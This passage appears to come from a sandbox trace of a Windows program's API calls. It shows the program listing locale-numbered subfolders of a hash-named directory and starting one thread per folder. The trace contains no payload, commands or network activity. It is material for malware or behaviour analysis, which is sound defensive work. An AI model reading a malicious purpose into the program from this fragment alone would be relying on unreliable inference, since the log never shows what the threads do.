hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0058.434] wcscmp (_String1="1033", _String2=".") returned 1 [0058.434] wcscmp (_String1="1033", _String2="..") returned 1 [0058.434] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dfc98 [0058.434] wcscpy (in: _Dest=0x33dfc98, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.434] wcscat (in: _Dest=0x33dfc98, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.434] wcscat (in: _Dest=0x33dfc98, _Source="1033" | out: _Dest="C:\\588bce7c90097ed212\\1033") returned="C:\\588bce7c90097ed212\\1033" [0058.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dfc98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388 [0058.435] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1 [0058.435] wcscmp (_String1="1035", _String2=".") returned 1 [0058.435] wcscmp (_String1="1035", _String2="..") returned 1 [0058.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dfcd8 [0058.435] wcscpy (in: _Dest=0x33dfcd8, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.435] wcscat (in: _Dest=0x33dfcd8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.435] wcscat (in: _Dest=0x33dfcd8, _Source="1035" | out: _Dest="C:\\588bce7c90097ed212\\1035") returned="C:\\588bce7c90097ed212\\1035" [0058.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dfcd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0058.436] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0058.436] wcscmp (_String1="1036", _String2=".") returned 1 [0058.436] wcscmp (_String1="1036", _String2="..") returned 1 [0058.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dfe98 [0058.437] wcscpy (in: _Dest=0x33dfe98, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.437] wcscat (in: _Dest=0x33dfe98, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.437] wcscat (in: _Dest=0x33dfe98, _Source="1036" | out: _Dest="C:\\588bce7c90097ed212\\1036") returned="C:\\588bce7c90097ed212\\1036" [0058.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dfe98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390 [0058.437] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1037", cAlternateFileName="")) returned 1 [0058.438] wcscmp (_String1="1037", _String2=".") returned 1 [0058.438] wcscmp (_String1="1037", _String2="..") returned 1 [0058.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33df958 [0058.438] wcscpy (in: _Dest=0x33df958, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.438] wcscat (in: _Dest=0x33df958, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.438] wcscat (in: _Dest=0x33df958, _Source="1037" | out: _Dest="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037" [0058.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33df958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0058.438] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1 [0058.439] wcscmp (_String1="1038", _String2=".") returned 1 [0058.439] wcscmp (_String1="1038", _String2="..") returned 1 [0058.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33df998 [0058.439] wcscpy (in: _Dest=0x33df998, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.439] wcscat (in: _Dest=0x33df998, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.439] wcscat (in: _Dest=0x33df998, _Source="1038" | out: _Dest="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038" [0058.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33df998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398 [0058.439] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0058.440] wcscmp (_String1="1040", _String2=".") returned 1 [0058.440] wcscmp (_String1="1040", _String2="..") returned 1 [0058.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dfe58 [0058.440] wcscpy (in: _Dest=0x33dfe58, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.440] wcscat (in: _Dest=0x33dfe58, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.440] wcscat (in: _Dest=0x33dfe58, _Source="1040" | out: _Dest="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040" [0058.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dfe58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c [0058.441] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0058.441] wcscmp (_String1="1041", _String2=".") returned 1 [0058.442] wcscmp (_String1="1041", _String2="..") returned 1 [0058.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33df9d8 [0058.442] wcscpy (in: _Dest=0x33df9d8, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.442] wcscat (in: _Dest=0x33df9d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.442] wcscat (in: _Dest=0x33df9d8, _Source="1041" | out: _Dest="C:\\588bce7c90097ed212\\1041") returned="C:\\588bce7c90097ed212\\1041" [0058.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33df9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0 [0058.442] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0058.442] wcscmp (_String1="1042", _String2=".") returned 1 [0058.442] wcscmp (_String1="1042", _String2="..") returned 1 [0058.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dfb58 [0058.442] wcscpy (in: _Dest=0x33dfb58, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.442] wcscat (in: _Dest=0x33dfb58, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.443] wcscat (in: _Dest=0x33dfb58, _Source="1042" | out: _Dest="C:\\588bce7c90097ed212\\1042") returned="C:\\588bce7c90097ed212\\1042" [0058.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dfb58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4 [0058.443] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043", cAlternateFileName="")) returned 1 [0058.443] wcscmp (_String1="1043", _String2=".") returned 1 [0058.443] wcscmp (_String1="1043", _String2="..") returned 1 [0058.443] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dfd18 [0058.443] wcscpy (in: _Dest=0x33dfd18, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.444] wcscat (in: _Dest=0x33dfd18, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.444] wcscat (in: _Dest=0x33dfd18, _Source="1043" | out: _Dest="C:\\588bce7c90097ed212\\1043") returned="C:\\588bce7c90097ed212\\1043" [0058.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dfd18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8 [0058.451] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1 [0058.451] wcscmp (_String1="1044", _String2=".") returned 1 [0058.452] wcscmp (_String1="1044", _String2="..") returned 1 [0058.452] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dfd58 [0058.452] wcscpy (in: _Dest=0x33dfd58, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.452] wcscat (in: _Dest=0x33dfd58, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.452] wcscat (in: _Dest=0x33dfd58, _Source="1044" | out: _Dest="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044" [0058.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dfd58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0058.453] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1 [0058.453] wcscmp (_String1="1045", _String2=".") returned 1 [0058.453] wcscmp (_String1="1045", _String2="..") returned 1 [0058.453] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33dfe18 [0058.453] wcscpy (in: _Dest=0x33dfe18, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.453] wcscat (in: _Dest=0x33dfe18, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.453] wcscat (in: _Dest=0x33dfe18, _Source="1045" | out: _Dest="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045" [0058.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33dfe18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0058.454] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0058.454] wcscmp (_String1="1046", _String2=".") returned 1 [0058.454] wcscmp (_String1="1046", _String2="..") returned 1 [0058.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33e0798 [0058.454] wcscpy (in: _Dest=0x33e0798, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.454] wcscat (in: _Dest=0x33e0798, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.454] wcscat (in: _Dest=0x33e0798, _Source="1046" | out: _Dest="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046" [0058.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e0798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0058.455] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0058.455] wcscmp (_String1="1049", _String2=".") returned 1 [0058.455] wcscmp (_String1="1049", _String2="..") returned 1 [0058.455] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33e0198 [0058.455] wcscpy (in: _Dest=0x33e0198, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.455] wcscat (in: _Dest=0x33e0198, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.455] wcscat (in: _Dest=0x33e0198, _Source="1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049" [0058.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e0198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8 [0058.456] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053", cAlternateFileName="")) returned 1 [0058.456] wcscmp (_String1="1053", _String2=".") returned 1 [0058.456] wcscmp (_String1="1053", _String2="..") returned 1 [0058.456] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33e0658 [0058.456] wcscpy (in: _Dest=0x33e0658, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.456] wcscat (in: _Dest=0x33e0658, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.456] wcscat (in: _Dest=0x33e0658, _Source="1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053" [0058.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e0658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc [0058.458] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1 [0058.458] wcscmp (_String1="1055", _String2=".") returned 1 [0058.458] wcscmp (_String1="1055", _String2="..") returned 1 [0058.458] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33e0418 [0058.458] wcscpy (in: _Dest=0x33e0418, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.458] wcscat (in: _Dest=0x33e0418, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.458] wcscat (in: _Dest=0x33e0418, _Source="1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055" [0058.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e0418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0 [0058.459] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052", cAlternateFileName="")) returned 1 [0058.459] wcscmp (_String1="2052", _String2=".") returned 1 [0058.459] wcscmp (_String1="2052", _String2="..") returned 1 [0058.459] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33e0018 [0058.459] wcscpy (in: _Dest=0x33e0018, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.459] wcscat (in: _Dest=0x33e0018, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.459] wcscat (in: _Dest=0x33e0018, _Source="2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052" [0058.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e0018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0058.461] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2070", cAlternateFileName="")) returned 1 [0058.461] wcscmp (_String1="2070", _String2=".") returned 1 [0058.461] wcscmp (_String1="2070", _String2="..") returned 1 [0058.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33e0158 [0058.461] wcscpy (in: _Dest=0x33e0158, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.461] wcscat (in: _Dest=0x33e0158, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.461] wcscat (in: _Dest=0x33e0158, _Source="2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070" [0058.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e0158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0058.462] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3076", cAlternateFileName="")) returned 1 [0058.462] wcscmp (_String1="3076", _String2=".") returned 1 [0058.462] wcscmp (_String1="3076", _String2="..") returned 1 [0058.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33e0318 [0058.462] wcscpy (in: _Dest=0x33e0318, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.462] wcscat (in: _Dest=0x33e0318, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.462] wcscat (in: _Dest=0x33e0318, _Source="3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076" [0058.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e0318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0058.463] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0058.463] wcscmp (_String1="3082", _String2=".") returned 1 [0058.463] wcscmp (_String1="3082", _String2="..") returned 1 [0058.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x33e01d8 [0058.463] wcscpy (in: _Dest=0x33e01d8, _Source="C:\\588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212" [0058.463] wcscat (in: _Dest=0x33e01d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0058.463] wcscat (in: _Dest=0x33e01d8, _Source="3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082" [0058.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e01d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0058.464] FindNextFileW (in: hFindFile=0x33dfb18, lpFindFileData=0x341e880 | out: lpFindFileData=0x341e880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, 